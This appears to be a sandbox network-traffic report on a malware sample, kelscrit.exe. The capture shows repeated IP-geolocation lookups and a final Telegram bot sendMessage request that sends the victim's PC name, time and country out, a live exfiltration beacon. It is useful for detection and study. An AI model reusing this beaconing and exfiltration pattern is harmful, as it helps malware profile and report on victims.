Data Ascii: {h]#=5_>\|7zd+u_u"CyexH>T\$3ke+5p=>Vrn.sCx=I2CU9+Nvvw/^p:6-}[QCby$R\|=7B1+9#> <C sNmAU8P]KPV\|Ff/*M
2024-12-03 09:12:16 UTC	1390	IN	Data Raw: 1a 7b 58 da ad 5b 49 74 7e d1 bb 4d f0 a5 67 97 4f 20 36 3d 18 98 a9 6d 7b 79 94 90 f6 58 b8 3c 1b 03 35 00 29 04 1b eb 43 97 d8 e7 4c e5 8e 02 0d 3a 4a a7 d5 20 bc ac 09 1b eb 41 2f 75 3e a3 64 ca c1 f6 06 f2 3c f8 c5 a9 93 92 3b f2 74 09 46 08 69 5d 3d 8d 5d a1 39 06 a6 dc c4 4d e1 c3 66 ae bd 12 f3 d1 71 9d e3 42 f0 3c a0 6a 95 a8 c6 4d e4 82 e5 84 a8 73 e4 af 1c ee e7 7d 20 ef d1 d5 9f 23 93 87 fe 43 7c 0d ab 68 24 8d 2e d6 15 bd 33 c7 df 24 ed a7 c7 a0 3e d5 45 2a cb 91 9d 38 9f fd c6 4c 72 8b 15 86 d7 86 be 87 62 a2 89 27 cf fe 6c 80 f1 94 73 65 0f fa 7d ea 3b c2 a8 56 23 c9 12 9b 32 73 e5 a8 27 4e 84 fa 47 89 f3 e2 0d 7e 0f 6e 28 07 c8 93 73 58 c5 97 cb 07 8b 00 7e 7c 4f 56 61 4d 00 61 84 3b e3 58 25 58 b9 70 2b 0b 7f 4e b5 0c 26 44 16 78 3c 77 82 Data Ascii: {X[It~MgO 6=m{yX<5)CL:J A/u>d<;tFi]=]9MfqB<jMs} #C\|h$.3$>E*8Lrb'lse};V#2s'NG~n(sX~\|OVaMa;X%Xp+N&Dx<w

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
2	192.168.2.4	49786	172.67.177.134	443	5756	C:\Users\user\Desktop\kelscrit.exe

Timestamp	Bytes transferred	Direction	Data
2024-12-03 09:12:20 UTC	85	OUT	GET /xml/8.46.123.228 HTTP/1.1 Host: reallyfreegeoip.org Connection: Keep-Alive
2024-12-03 09:12:21 UTC	879	IN	HTTP/1.1 200 OK Date: Tue, 03 Dec 2024 09:12:21 GMT Content-Type: text/xml Content-Length: 362 Connection: close Cache-Control: max-age=31536000 CF-Cache-Status: HIT Age: 94564 Last-Modified: Mon, 02 Dec 2024 06:56:17 GMT Accept-Ranges: bytes Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=QO3B0GBbni8wGhSJV3A83%2FhaHzXPsj6WfPHOB0mk5bSqrqOtxDMW1Krjm4EWctMuGyT%2B6MZFq6MRLfnXcDKVACL8gKDOceRD%2FmGq4mfFGXsFrzws1IPKxXhc6ayynf9k8%2F%2BGNKvL"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8ec26f3ca840729b-EWR alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=1993&min_rtt=1926&rtt_var=770&sent=5&recv=7&lost=0&retrans=0&sent_bytes=2850&recv_bytes=699&delivery_rate=1516095&cwnd=249&unsent_bytes=0&cid=26332bdde45a55de&ts=461&x=0"
2024-12-03 09:12:21 UTC	362	IN	Data Raw: 3c 52 65 73 70 6f 6e 73 65 3e 0a 09 3c 49 50 3e 38 2e 34 36 2e 31 32 33 2e 32 32 38 3c 2f 49 50 3e 0a 09 3c 43 6f 75 6e 74 72 79 43 6f 64 65 3e 55 53 3c 2f 43 6f 75 6e 74 72 79 43 6f 64 65 3e 0a 09 3c 43 6f 75 6e 74 72 79 4e 61 6d 65 3e 55 6e 69 74 65 64 20 53 74 61 74 65 73 3c 2f 43 6f 75 6e 74 72 79 4e 61 6d 65 3e 0a 09 3c 52 65 67 69 6f 6e 43 6f 64 65 3e 4e 59 3c 2f 52 65 67 69 6f 6e 43 6f 64 65 3e 0a 09 3c 52 65 67 69 6f 6e 4e 61 6d 65 3e 4e 65 77 20 59 6f 72 6b 3c 2f 52 65 67 69 6f 6e 4e 61 6d 65 3e 0a 09 3c 43 69 74 79 3e 4e 65 77 20 59 6f 72 6b 3c 2f 43 69 74 79 3e 0a 09 3c 5a 69 70 43 6f 64 65 3e 31 30 31 31 38 3c 2f 5a 69 70 43 6f 64 65 3e 0a 09 3c 54 69 6d 65 5a 6f 6e 65 3e 41 6d 65 72 69 63 61 2f 4e 65 77 5f 59 6f 72 6b 3c 2f 54 69 6d 65 5a 6f Data Ascii: <Response><IP>8.46.123.228</IP><CountryCode>US</CountryCode><CountryName>United States</CountryName><RegionCode>NY</RegionCode><RegionName>New York</RegionName><City>New York</City><ZipCode>10118</ZipCode><TimeZone>America/New_York</TimeZo

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
3	192.168.2.4	49792	172.67.177.134	443	5756	C:\Users\user\Desktop\kelscrit.exe

Timestamp	Bytes transferred	Direction	Data
2024-12-03 09:12:23 UTC	61	OUT	GET /xml/8.46.123.228 HTTP/1.1 Host: reallyfreegeoip.org
2024-12-03 09:12:23 UTC	875	IN	HTTP/1.1 200 OK Date: Tue, 03 Dec 2024 09:12:23 GMT Content-Type: text/xml Content-Length: 362 Connection: close Cache-Control: max-age=31536000 CF-Cache-Status: HIT Age: 94566 Last-Modified: Mon, 02 Dec 2024 06:56:17 GMT Accept-Ranges: bytes Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=gPnM%2Fyvnv4kvMj9mirJ75br8T69MFZS2XGZRQeXDmHRD1uOaztykMcCirzgemgTgWZNTNQqJ1vFLB2LhonY9%2Blwab1cexm1OXqRzonm4NTMbjny4VT%2FgkVp8F4XsZyhgnbJu1CTs"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8ec26f4a48f4c434-EWR alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=1466&min_rtt=1465&rtt_var=552&sent=6&recv=7&lost=0&retrans=0&sent_bytes=2848&recv_bytes=699&delivery_rate=1975642&cwnd=196&unsent_bytes=0&cid=a032c81921b44579&ts=468&x=0"
2024-12-03 09:12:23 UTC	362	IN	Data Raw: 3c 52 65 73 70 6f 6e 73 65 3e 0a 09 3c 49 50 3e 38 2e 34 36 2e 31 32 33 2e 32 32 38 3c 2f 49 50 3e 0a 09 3c 43 6f 75 6e 74 72 79 43 6f 64 65 3e 55 53 3c 2f 43 6f 75 6e 74 72 79 43 6f 64 65 3e 0a 09 3c 43 6f 75 6e 74 72 79 4e 61 6d 65 3e 55 6e 69 74 65 64 20 53 74 61 74 65 73 3c 2f 43 6f 75 6e 74 72 79 4e 61 6d 65 3e 0a 09 3c 52 65 67 69 6f 6e 43 6f 64 65 3e 4e 59 3c 2f 52 65 67 69 6f 6e 43 6f 64 65 3e 0a 09 3c 52 65 67 69 6f 6e 4e 61 6d 65 3e 4e 65 77 20 59 6f 72 6b 3c 2f 52 65 67 69 6f 6e 4e 61 6d 65 3e 0a 09 3c 43 69 74 79 3e 4e 65 77 20 59 6f 72 6b 3c 2f 43 69 74 79 3e 0a 09 3c 5a 69 70 43 6f 64 65 3e 31 30 31 31 38 3c 2f 5a 69 70 43 6f 64 65 3e 0a 09 3c 54 69 6d 65 5a 6f 6e 65 3e 41 6d 65 72 69 63 61 2f 4e 65 77 5f 59 6f 72 6b 3c 2f 54 69 6d 65 5a 6f Data Ascii: <Response><IP>8.46.123.228</IP><CountryCode>US</CountryCode><CountryName>United States</CountryName><RegionCode>NY</RegionCode><RegionName>New York</RegionName><City>New York</City><ZipCode>10118</ZipCode><TimeZone>America/New_York</TimeZo

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
4	192.168.2.4	49799	172.67.177.134	443	5756	C:\Users\user\Desktop\kelscrit.exe

Timestamp	Bytes transferred	Direction	Data
2024-12-03 09:12:26 UTC	61	OUT	GET /xml/8.46.123.228 HTTP/1.1 Host: reallyfreegeoip.org
2024-12-03 09:12:26 UTC	873	IN	HTTP/1.1 200 OK Date: Tue, 03 Dec 2024 09:12:26 GMT Content-Type: text/xml Content-Length: 362 Connection: close Cache-Control: max-age=31536000 CF-Cache-Status: HIT Age: 94569 Last-Modified: Mon, 02 Dec 2024 06:56:17 GMT Accept-Ranges: bytes Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=aZUZHVL7dALhoWHL53vPNVOzFdlI79dXPXCIjbEzdo2Xy2qsTYKGIKQ5Z%2BkoksNPbPh7drHdG%2BR2ys5sqDTCLPUNNET4tZ3AA9mFdRZJTiwhasPCeYGVojTSgwSHk4jYcKCuqMdO"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8ec26f5e1dba43a3-EWR alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=2196&min_rtt=2190&rtt_var=834&sent=5&recv=7&lost=0&retrans=0&sent_bytes=2849&recv_bytes=699&delivery_rate=1302989&cwnd=220&unsent_bytes=0&cid=53093a7c3f8750c8&ts=462&x=0"
2024-12-03 09:12:26 UTC	362	IN	Data Raw: 3c 52 65 73 70 6f 6e 73 65 3e 0a 09 3c 49 50 3e 38 2e 34 36 2e 31 32 33 2e 32 32 38 3c 2f 49 50 3e 0a 09 3c 43 6f 75 6e 74 72 79 43 6f 64 65 3e 55 53 3c 2f 43 6f 75 6e 74 72 79 43 6f 64 65 3e 0a 09 3c 43 6f 75 6e 74 72 79 4e 61 6d 65 3e 55 6e 69 74 65 64 20 53 74 61 74 65 73 3c 2f 43 6f 75 6e 74 72 79 4e 61 6d 65 3e 0a 09 3c 52 65 67 69 6f 6e 43 6f 64 65 3e 4e 59 3c 2f 52 65 67 69 6f 6e 43 6f 64 65 3e 0a 09 3c 52 65 67 69 6f 6e 4e 61 6d 65 3e 4e 65 77 20 59 6f 72 6b 3c 2f 52 65 67 69 6f 6e 4e 61 6d 65 3e 0a 09 3c 43 69 74 79 3e 4e 65 77 20 59 6f 72 6b 3c 2f 43 69 74 79 3e 0a 09 3c 5a 69 70 43 6f 64 65 3e 31 30 31 31 38 3c 2f 5a 69 70 43 6f 64 65 3e 0a 09 3c 54 69 6d 65 5a 6f 6e 65 3e 41 6d 65 72 69 63 61 2f 4e 65 77 5f 59 6f 72 6b 3c 2f 54 69 6d 65 5a 6f Data Ascii: <Response><IP>8.46.123.228</IP><CountryCode>US</CountryCode><CountryName>United States</CountryName><RegionCode>NY</RegionCode><RegionName>New York</RegionName><City>New York</City><ZipCode>10118</ZipCode><TimeZone>America/New_York</TimeZo

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
5	192.168.2.4	49810	172.67.177.134	443	5756	C:\Users\user\Desktop\kelscrit.exe

Timestamp	Bytes transferred	Direction	Data
2024-12-03 09:12:29 UTC	85	OUT	GET /xml/8.46.123.228 HTTP/1.1 Host: reallyfreegeoip.org Connection: Keep-Alive
2024-12-03 09:12:29 UTC	875	IN	HTTP/1.1 200 OK Date: Tue, 03 Dec 2024 09:12:29 GMT Content-Type: text/xml Content-Length: 362 Connection: close Cache-Control: max-age=31536000 CF-Cache-Status: HIT Age: 94572 Last-Modified: Mon, 02 Dec 2024 06:56:17 GMT Accept-Ranges: bytes Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=gsv54Kun7iZ%2ByEBctLJtO43BguCyzLjhXM5AysHid%2FSqs6vL04expJlNXgeFHJ3R9sKcclaY%2Buha9TA9H6OSWNv7Tm53kzKjbCFg6zfDEVHJBU2vMr8p3kYV4f1oGIxfEEId81JR"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8ec26f711f9c430d-EWR alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=1703&min_rtt=1688&rtt_var=663&sent=5&recv=7&lost=0&retrans=0&sent_bytes=2849&recv_bytes=699&delivery_rate=1615044&cwnd=225&unsent_bytes=0&cid=8ded498161eb7920&ts=459&x=0"
2024-12-03 09:12:29 UTC	362	IN	Data Raw: 3c 52 65 73 70 6f 6e 73 65 3e 0a 09 3c 49 50 3e 38 2e 34 36 2e 31 32 33 2e 32 32 38 3c 2f 49 50 3e 0a 09 3c 43 6f 75 6e 74 72 79 43 6f 64 65 3e 55 53 3c 2f 43 6f 75 6e 74 72 79 43 6f 64 65 3e 0a 09 3c 43 6f 75 6e 74 72 79 4e 61 6d 65 3e 55 6e 69 74 65 64 20 53 74 61 74 65 73 3c 2f 43 6f 75 6e 74 72 79 4e 61 6d 65 3e 0a 09 3c 52 65 67 69 6f 6e 43 6f 64 65 3e 4e 59 3c 2f 52 65 67 69 6f 6e 43 6f 64 65 3e 0a 09 3c 52 65 67 69 6f 6e 4e 61 6d 65 3e 4e 65 77 20 59 6f 72 6b 3c 2f 52 65 67 69 6f 6e 4e 61 6d 65 3e 0a 09 3c 43 69 74 79 3e 4e 65 77 20 59 6f 72 6b 3c 2f 43 69 74 79 3e 0a 09 3c 5a 69 70 43 6f 64 65 3e 31 30 31 31 38 3c 2f 5a 69 70 43 6f 64 65 3e 0a 09 3c 54 69 6d 65 5a 6f 6e 65 3e 41 6d 65 72 69 63 61 2f 4e 65 77 5f 59 6f 72 6b 3c 2f 54 69 6d 65 5a 6f Data Ascii: <Response><IP>8.46.123.228</IP><CountryCode>US</CountryCode><CountryName>United States</CountryName><RegionCode>NY</RegionCode><RegionName>New York</RegionName><City>New York</City><ZipCode>10118</ZipCode><TimeZone>America/New_York</TimeZo

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
6	192.168.2.4	49818	172.67.177.134	443	5756	C:\Users\user\Desktop\kelscrit.exe

Timestamp	Bytes transferred	Direction	Data
2024-12-03 09:12:32 UTC	85	OUT	GET /xml/8.46.123.228 HTTP/1.1 Host: reallyfreegeoip.org Connection: Keep-Alive
2024-12-03 09:12:32 UTC	883	IN	HTTP/1.1 200 OK Date: Tue, 03 Dec 2024 09:12:32 GMT Content-Type: text/xml Content-Length: 362 Connection: close Cache-Control: max-age=31536000 CF-Cache-Status: HIT Age: 94575 Last-Modified: Mon, 02 Dec 2024 06:56:17 GMT Accept-Ranges: bytes Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=5rQIcyL93PkOUCJThvIrzzs5kqhVWHo%2FB7XRIO3lrtZ3Gx9rlCpv%2FqA%2FDh3BtE58NWmJmGogstAux0jmGndPnv4I%2B0nLar3y7%2BBaRua0Rij%2BTF5I3PNzsSQ91oo99H%2FiEqm31BEF"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8ec26f851eb14391-EWR alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=1614&min_rtt=1608&rtt_var=616&sent=5&recv=7&lost=0&retrans=0&sent_bytes=2848&recv_bytes=699&delivery_rate=1755862&cwnd=236&unsent_bytes=0&cid=4819dc03ae5c821c&ts=460&x=0"
2024-12-03 09:12:32 UTC	362	IN	Data Raw: 3c 52 65 73 70 6f 6e 73 65 3e 0a 09 3c 49 50 3e 38 2e 34 36 2e 31 32 33 2e 32 32 38 3c 2f 49 50 3e 0a 09 3c 43 6f 75 6e 74 72 79 43 6f 64 65 3e 55 53 3c 2f 43 6f 75 6e 74 72 79 43 6f 64 65 3e 0a 09 3c 43 6f 75 6e 74 72 79 4e 61 6d 65 3e 55 6e 69 74 65 64 20 53 74 61 74 65 73 3c 2f 43 6f 75 6e 74 72 79 4e 61 6d 65 3e 0a 09 3c 52 65 67 69 6f 6e 43 6f 64 65 3e 4e 59 3c 2f 52 65 67 69 6f 6e 43 6f 64 65 3e 0a 09 3c 52 65 67 69 6f 6e 4e 61 6d 65 3e 4e 65 77 20 59 6f 72 6b 3c 2f 52 65 67 69 6f 6e 4e 61 6d 65 3e 0a 09 3c 43 69 74 79 3e 4e 65 77 20 59 6f 72 6b 3c 2f 43 69 74 79 3e 0a 09 3c 5a 69 70 43 6f 64 65 3e 31 30 31 31 38 3c 2f 5a 69 70 43 6f 64 65 3e 0a 09 3c 54 69 6d 65 5a 6f 6e 65 3e 41 6d 65 72 69 63 61 2f 4e 65 77 5f 59 6f 72 6b 3c 2f 54 69 6d 65 5a 6f Data Ascii: <Response><IP>8.46.123.228</IP><CountryCode>US</CountryCode><CountryName>United States</CountryName><RegionCode>NY</RegionCode><RegionName>New York</RegionName><City>New York</City><ZipCode>10118</ZipCode><TimeZone>America/New_York</TimeZo

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
7	192.168.2.4	49827	172.67.177.134	443	5756	C:\Users\user\Desktop\kelscrit.exe

Timestamp	Bytes transferred	Direction	Data
2024-12-03 09:12:35 UTC	85	OUT	GET /xml/8.46.123.228 HTTP/1.1 Host: reallyfreegeoip.org Connection: Keep-Alive
2024-12-03 09:12:36 UTC	877	IN	HTTP/1.1 200 OK Date: Tue, 03 Dec 2024 09:12:35 GMT Content-Type: text/xml Content-Length: 362 Connection: close Cache-Control: max-age=31536000 CF-Cache-Status: HIT Age: 94578 Last-Modified: Mon, 02 Dec 2024 06:56:17 GMT Accept-Ranges: bytes Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=P4P2VT%2B0d2cjbXKwbe04fAnnjeBdtwRsk0Hs5jRznnpxRb5NqIefhgQO1VXLmHiv9UDl1PNY8qblAwTVJrvO%2FgO%2FmXwmtCQP4He9reQobrSvpKBUe6RL5YblnaQdhKvS%2BJLohpms"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8ec26f98b9b143e3-EWR alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=2103&min_rtt=2088&rtt_var=814&sent=5&recv=7&lost=0&retrans=0&sent_bytes=2849&recv_bytes=699&delivery_rate=1318879&cwnd=234&unsent_bytes=0&cid=e0caf6335a7373d1&ts=469&x=0"
2024-12-03 09:12:36 UTC	362	IN	Data Raw: 3c 52 65 73 70 6f 6e 73 65 3e 0a 09 3c 49 50 3e 38 2e 34 36 2e 31 32 33 2e 32 32 38 3c 2f 49 50 3e 0a 09 3c 43 6f 75 6e 74 72 79 43 6f 64 65 3e 55 53 3c 2f 43 6f 75 6e 74 72 79 43 6f 64 65 3e 0a 09 3c 43 6f 75 6e 74 72 79 4e 61 6d 65 3e 55 6e 69 74 65 64 20 53 74 61 74 65 73 3c 2f 43 6f 75 6e 74 72 79 4e 61 6d 65 3e 0a 09 3c 52 65 67 69 6f 6e 43 6f 64 65 3e 4e 59 3c 2f 52 65 67 69 6f 6e 43 6f 64 65 3e 0a 09 3c 52 65 67 69 6f 6e 4e 61 6d 65 3e 4e 65 77 20 59 6f 72 6b 3c 2f 52 65 67 69 6f 6e 4e 61 6d 65 3e 0a 09 3c 43 69 74 79 3e 4e 65 77 20 59 6f 72 6b 3c 2f 43 69 74 79 3e 0a 09 3c 5a 69 70 43 6f 64 65 3e 31 30 31 31 38 3c 2f 5a 69 70 43 6f 64 65 3e 0a 09 3c 54 69 6d 65 5a 6f 6e 65 3e 41 6d 65 72 69 63 61 2f 4e 65 77 5f 59 6f 72 6b 3c 2f 54 69 6d 65 5a 6f Data Ascii: <Response><IP>8.46.123.228</IP><CountryCode>US</CountryCode><CountryName>United States</CountryName><RegionCode>NY</RegionCode><RegionName>New York</RegionName><City>New York</City><ZipCode>10118</ZipCode><TimeZone>America/New_York</TimeZo

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
8	192.168.2.4	49837	172.67.177.134	443	5756	C:\Users\user\Desktop\kelscrit.exe

Timestamp	Bytes transferred	Direction	Data
2024-12-03 09:12:38 UTC	61	OUT	GET /xml/8.46.123.228 HTTP/1.1 Host: reallyfreegeoip.org
2024-12-03 09:12:39 UTC	871	IN	HTTP/1.1 200 OK Date: Tue, 03 Dec 2024 09:12:39 GMT Content-Type: text/xml Content-Length: 362 Connection: close Cache-Control: max-age=31536000 CF-Cache-Status: HIT Age: 94582 Last-Modified: Mon, 02 Dec 2024 06:56:17 GMT Accept-Ranges: bytes Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=Qv62jeU2WPNkOLb5uVHbQRlmy7g7tVTV80kKSO62JTiC2KnI1GDGK%2FZ4UBqxbaVZePQAOVz5Cz50n45v1a6IkAyJkkJSbZ1X7AYPqQMeIb1cKATVxfMiquXxrZ35jvbeSKY76uvW"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8ec26fac5b4c0f4d-EWR alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=1683&min_rtt=1679&rtt_var=638&sent=5&recv=7&lost=0&retrans=0&sent_bytes=2848&recv_bytes=699&delivery_rate=1705607&cwnd=217&unsent_bytes=0&cid=4cb93475e43cfb3e&ts=459&x=0"
2024-12-03 09:12:39 UTC	362	IN	Data Raw: 3c 52 65 73 70 6f 6e 73 65 3e 0a 09 3c 49 50 3e 38 2e 34 36 2e 31 32 33 2e 32 32 38 3c 2f 49 50 3e 0a 09 3c 43 6f 75 6e 74 72 79 43 6f 64 65 3e 55 53 3c 2f 43 6f 75 6e 74 72 79 43 6f 64 65 3e 0a 09 3c 43 6f 75 6e 74 72 79 4e 61 6d 65 3e 55 6e 69 74 65 64 20 53 74 61 74 65 73 3c 2f 43 6f 75 6e 74 72 79 4e 61 6d 65 3e 0a 09 3c 52 65 67 69 6f 6e 43 6f 64 65 3e 4e 59 3c 2f 52 65 67 69 6f 6e 43 6f 64 65 3e 0a 09 3c 52 65 67 69 6f 6e 4e 61 6d 65 3e 4e 65 77 20 59 6f 72 6b 3c 2f 52 65 67 69 6f 6e 4e 61 6d 65 3e 0a 09 3c 43 69 74 79 3e 4e 65 77 20 59 6f 72 6b 3c 2f 43 69 74 79 3e 0a 09 3c 5a 69 70 43 6f 64 65 3e 31 30 31 31 38 3c 2f 5a 69 70 43 6f 64 65 3e 0a 09 3c 54 69 6d 65 5a 6f 6e 65 3e 41 6d 65 72 69 63 61 2f 4e 65 77 5f 59 6f 72 6b 3c 2f 54 69 6d 65 5a 6f Data Ascii: <Response><IP>8.46.123.228</IP><CountryCode>US</CountryCode><CountryName>United States</CountryName><RegionCode>NY</RegionCode><RegionName>New York</RegionName><City>New York</City><ZipCode>10118</ZipCode><TimeZone>America/New_York</TimeZo

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
9	192.168.2.4	49844	172.67.177.134	443	5756	C:\Users\user\Desktop\kelscrit.exe

Timestamp	Bytes transferred	Direction	Data
2024-12-03 09:12:41 UTC	85	OUT	GET /xml/8.46.123.228 HTTP/1.1 Host: reallyfreegeoip.org Connection: Keep-Alive
2024-12-03 09:12:42 UTC	877	IN	HTTP/1.1 200 OK Date: Tue, 03 Dec 2024 09:12:42 GMT Content-Type: text/xml Content-Length: 362 Connection: close Cache-Control: max-age=31536000 CF-Cache-Status: HIT Age: 94585 Last-Modified: Mon, 02 Dec 2024 06:56:17 GMT Accept-Ranges: bytes Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=m266uRI3lH9eUYsAS5TnOca6r0CQ0V%2BCxzrCYerhjb%2BHyTpDvFTo2UGCaTMC46U9ML9J1Ujk5sbCigzhVxwwC%2Fiosj9qWMp7LVvVqZReuiS44I9conlFHSNhbB6sR8cdLD3mC%2BQq"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8ec26fbfbe5e7d08-EWR alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=1799&min_rtt=1795&rtt_var=681&sent=5&recv=6&lost=0&retrans=0&sent_bytes=2850&recv_bytes=699&delivery_rate=1598248&cwnd=175&unsent_bytes=0&cid=bc13a6e1f32bc203&ts=451&x=0"
2024-12-03 09:12:42 UTC	362	IN	Data Raw: 3c 52 65 73 70 6f 6e 73 65 3e 0a 09 3c 49 50 3e 38 2e 34 36 2e 31 32 33 2e 32 32 38 3c 2f 49 50 3e 0a 09 3c 43 6f 75 6e 74 72 79 43 6f 64 65 3e 55 53 3c 2f 43 6f 75 6e 74 72 79 43 6f 64 65 3e 0a 09 3c 43 6f 75 6e 74 72 79 4e 61 6d 65 3e 55 6e 69 74 65 64 20 53 74 61 74 65 73 3c 2f 43 6f 75 6e 74 72 79 4e 61 6d 65 3e 0a 09 3c 52 65 67 69 6f 6e 43 6f 64 65 3e 4e 59 3c 2f 52 65 67 69 6f 6e 43 6f 64 65 3e 0a 09 3c 52 65 67 69 6f 6e 4e 61 6d 65 3e 4e 65 77 20 59 6f 72 6b 3c 2f 52 65 67 69 6f 6e 4e 61 6d 65 3e 0a 09 3c 43 69 74 79 3e 4e 65 77 20 59 6f 72 6b 3c 2f 43 69 74 79 3e 0a 09 3c 5a 69 70 43 6f 64 65 3e 31 30 31 31 38 3c 2f 5a 69 70 43 6f 64 65 3e 0a 09 3c 54 69 6d 65 5a 6f 6e 65 3e 41 6d 65 72 69 63 61 2f 4e 65 77 5f 59 6f 72 6b 3c 2f 54 69 6d 65 5a 6f Data Ascii: <Response><IP>8.46.123.228</IP><CountryCode>US</CountryCode><CountryName>United States</CountryName><RegionCode>NY</RegionCode><RegionName>New York</RegionName><City>New York</City><ZipCode>10118</ZipCode><TimeZone>America/New_York</TimeZo

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
10	192.168.2.4	49855	172.67.177.134	443	5756	C:\Users\user\Desktop\kelscrit.exe

Timestamp	Bytes transferred	Direction	Data
2024-12-03 09:12:45 UTC	61	OUT	GET /xml/8.46.123.228 HTTP/1.1 Host: reallyfreegeoip.org
2024-12-03 09:12:45 UTC	875	IN	HTTP/1.1 200 OK Date: Tue, 03 Dec 2024 09:12:45 GMT Content-Type: text/xml Content-Length: 362 Connection: close Cache-Control: max-age=31536000 CF-Cache-Status: HIT Age: 94588 Last-Modified: Mon, 02 Dec 2024 06:56:17 GMT Accept-Ranges: bytes Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=lzXc1ygRvL4T068jv%2Fj6gQ2TbPH%2BFD7Clc5cCzkGBzqTIiWKrFwXzEwgzVNYNQOtJxtB077LZe7Shexu03cZVLTgLEJLDimWGaUaExw2X77mcZxYsooqRE5z4SIRBEcHRXm%2Bww8d"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8ec26fd3aedc43d6-EWR alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=1781&min_rtt=1722&rtt_var=688&sent=5&recv=6&lost=0&retrans=0&sent_bytes=2850&recv_bytes=699&delivery_rate=1695702&cwnd=248&unsent_bytes=0&cid=fa15e0808d76fef5&ts=475&x=0"
2024-12-03 09:12:45 UTC	362	IN	Data Raw: 3c 52 65 73 70 6f 6e 73 65 3e 0a 09 3c 49 50 3e 38 2e 34 36 2e 31 32 33 2e 32 32 38 3c 2f 49 50 3e 0a 09 3c 43 6f 75 6e 74 72 79 43 6f 64 65 3e 55 53 3c 2f 43 6f 75 6e 74 72 79 43 6f 64 65 3e 0a 09 3c 43 6f 75 6e 74 72 79 4e 61 6d 65 3e 55 6e 69 74 65 64 20 53 74 61 74 65 73 3c 2f 43 6f 75 6e 74 72 79 4e 61 6d 65 3e 0a 09 3c 52 65 67 69 6f 6e 43 6f 64 65 3e 4e 59 3c 2f 52 65 67 69 6f 6e 43 6f 64 65 3e 0a 09 3c 52 65 67 69 6f 6e 4e 61 6d 65 3e 4e 65 77 20 59 6f 72 6b 3c 2f 52 65 67 69 6f 6e 4e 61 6d 65 3e 0a 09 3c 43 69 74 79 3e 4e 65 77 20 59 6f 72 6b 3c 2f 43 69 74 79 3e 0a 09 3c 5a 69 70 43 6f 64 65 3e 31 30 31 31 38 3c 2f 5a 69 70 43 6f 64 65 3e 0a 09 3c 54 69 6d 65 5a 6f 6e 65 3e 41 6d 65 72 69 63 61 2f 4e 65 77 5f 59 6f 72 6b 3c 2f 54 69 6d 65 5a 6f Data Ascii: <Response><IP>8.46.123.228</IP><CountryCode>US</CountryCode><CountryName>United States</CountryName><RegionCode>NY</RegionCode><RegionName>New York</RegionName><City>New York</City><ZipCode>10118</ZipCode><TimeZone>America/New_York</TimeZo

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
11	192.168.2.4	49861	149.154.167.220	443	5756	C:\Users\user\Desktop\kelscrit.exe

Timestamp	Bytes transferred	Direction	Data
2024-12-03 09:12:47 UTC	349	OUT	GET /bot/sendMessage?chat_id=&text=%20%0D%0A%0D%0APC%20Name:445817%0D%0ADate%20and%20Time:%2004/12/2024%20/%2010:01:27%0D%0ACountry%20Name:%20United%20States%0D%0A%5B%20445817%20Clicked%20on%20the%20File%20If%20you%20see%20nothing%20this's%20mean%20the%20system%20storage's%20empty.%20%5D HTTP/1.1 Host: api.telegram.org Connection: Keep-Alive
